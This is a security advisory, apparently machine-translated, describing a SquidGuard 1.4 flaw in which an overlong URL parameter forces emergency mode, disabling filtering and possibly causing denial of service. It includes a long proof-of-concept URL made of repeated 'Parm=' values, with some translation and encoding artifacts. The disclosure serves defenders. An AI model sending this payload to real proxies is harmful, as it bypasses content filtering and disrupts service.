SquidGuard long URL Processing Remote Denial of Service Vulnerability

Release date:
Updated on:

Affected Systems:
SquidGuard 1.4
Description:
--------------------------------------------------------------------------------
Bugtraq id: 55291

SquidGuard is a comprehensive plug-in for Squid filters, redirections, and access controllers.

SquidGuard 1.4 and other versions have the remote denial of service vulnerability. When you submit a URL that contains a long parameter, the application enters emergency mode. In this mode, all URLs are not prohibited, further DoS may occur.

<* Source: Stefan Bauer
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Http://www.example.com/_playlist/playlist.xml? Parm = 0.25732559903520535? Parm = 0.8294737075929047? Parm = 0.24014121683296297? Parm = 0.9460915929498649? Parm = 0.3974535575371201? Parm = 0.797955814252201? Parm = 0.5941665450866088? Parm = 0.6912115486553755? Parm = 0.05073890069479603? Parm = 0.8963961504041598? Parm = 0.43654825009701137? Parm = 0.8214705010294044? Parm = 0.5274569610084057? Parm = 0.0007274525371858687? Parm = 0.14506218122553893? Parm = 0.49125362580323495? Parm = 0.6941617625067622? Parm = 0.7331781580530978? Parm = 0.6610984755864507? Parm = 0.8694141102186517? Parm = 0.1290539846224843? Parm = 0.45549314193532453? Parm = 0.860371532284247? Parm = 0.019043415282676057? Parm = 0.1470360022957906? Parm = 0.9782236742775064? Parm = 0.24810547207701195? Parm = 0.5038849472610185? Parm = 0.32986064536502857? Parm = 0.3443933666849265? Parm = 0.8665425396928025? Parm = 0.8360460125669642? Parm = 0.11572512117125244? Pa
Rm = 0.03510514000002962? Parm = 0.6746931283264278? Parm = 0.4470450325834908? Parm = 0.07785764204006762? Parm = 0.3401613372413357? Parm = 0.6885655479211563? Parm = 0.3378645245893567? Parm = 0.7530888030812639? Parm = 0.4385274529715908? Parm = 0.8546846734552437? Parm = 0.943562659437982? Parm = 0.2690958544139864? Parm = 0.9414778696948228? Parm = 0.9705285143976852? Parm = 0.03412914860633709? Parm = 0.5629524868314979? Parm = 0.26551896178241496? Parm = 0.9625820765908634? Parm = 0.6656541817421336? Parm = 0.6838127452100081? Parm = 0.2226939131764789? Parm = 0.48602838974004015? Parm = 0.2945117583623632? Parm = 0.529002994268698? Parm = 0.6426306330058106? Parm = 0.11966694941771472? Parm = 0.1721417044468887? Parm = 3D0. 3754902481844036? Parm = 0.6737018509787533? Parm = 0.39546949087944683? Parm = 0.0491472806762866? Parm = 0.7376419322110352? Parm = 0.6499250853081242? Parm = 0.5242544168272583? Parm = 0.034808393547313354? Parm
= 0.4073861597524363? Parm = 0.05573713697624749? Parm = 0.9572804384429524? Parm = 0.1817429853821192? Parm = 0.014327680461904801? Parm = 0.17253608539764576? Parm = 0.8581309328485324? Parm = 0.9953321132994779? Parm = 0.08106975895631952? Parm = 0.4488913260181805? Parm = 0.1500808162508912? Parm = 0.6036570089972113? Parm = 0.3429374525213048? Parm = 0.5005802517999419? Parm = 0.051207514503536666? Parm = 0.766079189716261? Parm = 0.05149314425197127? Parm = 0.9171176947996869? Parm = 0.9128287890179406? Parm = 0.2472275256231583? Parm = 0.08768066601448787? Parm = 0.7282021350271008? Parm = 0.7364195421315026? Parm = 0.33803910476243226? Parm = 0.9731293024794875? Parm = 0.4665109365664606? Parm = 0.9599808584667793? Parm = 0.4666333564612767? Parm = 0.2870947294724183? Parm = 0.2525336676197266? Parm = 0.9769042933525486? Parm = 0.9091816595515594? Parm = 0.5717086294621162? Parm = 0.22264183558725903? Parm = 0.3786950609979425? Par
M = 0.5845679157357075? Parm = 0.5396548326610127? Parm = 0.9233495028064524? Parm = 0.0974877689966982? Parm = 0.7965176866365765? Parm = 0.2860844780143996? Parm = 0.0027286208156194203? Parm = 0.4651091074998567? Parm = 0.5730070981414728? Parm = 0.2505283628059568? Parm = 0.6441995109312953? Parm = 0.7025116726949593? Parm = 0.9451446634320427? Parm = 0.8747596688711037? Parm = 0.7084257035096256? Parm = 0.5067240755386497? Parm = 0.10635286404950961? Parm = 0.2590060181978189? Parm = 0.4757993339954312? Parm = 0.2120319757985698? Parm = 0.8975584037174784? Parm = 0.631604652076309? Parm = 0.2150116248909476? Parm = 0.46792574310758606? Parm = 0.4752334181586533? Parm = 0.11614011486437892? Parm = 0.5424607368502887? Parm = 3D0. 49842045831432846? Parm = 0.3365122016115487? Parm = 0.10529902337628827? Parm = 0.6827568962602503? Parm = 0.7856740326146926? Parm = 0.09924147705627229? Parm = 0.5321218821234125? Parm = 0.29234258833331983? Par
M = 0.45540015833322023? Parm = 0.5647044038008046? Parm = 0.46702725451889426? Parm = 0.4662535800019342? Parm = 0.7323923339134595? Parm = 0.6268917225432019? Parm = 0.7629286375836214? Parm = 0.9123040395199864? Parm = 0.5815462771024456? Parm = 0.5345761196888793? Parm = 0.9209602153432136? Parm = 0.04748725664240383? Parm = 0.05308779345336989? Parm = 0.8610787797224873? Parm = 0.9557722872296609? Parm = 0.9481407994385496? Parm = 0.9102836584825768? Parm = 0.2914997397760458? Parm = 0.8020533987162777? Parm = 0.6684330848337933? Parm = 0.8337337199569539? Parm = 0.9983168241581639? Parm = 0.7228803317315997? Parm = 0.43098615737758783? Parm = 0.8684119503556965? Parm = 0.9436400538914193? Parm = 0.25569358266277475? Parm3D0.58895697

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

SquidGuard
----------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.squidguard.org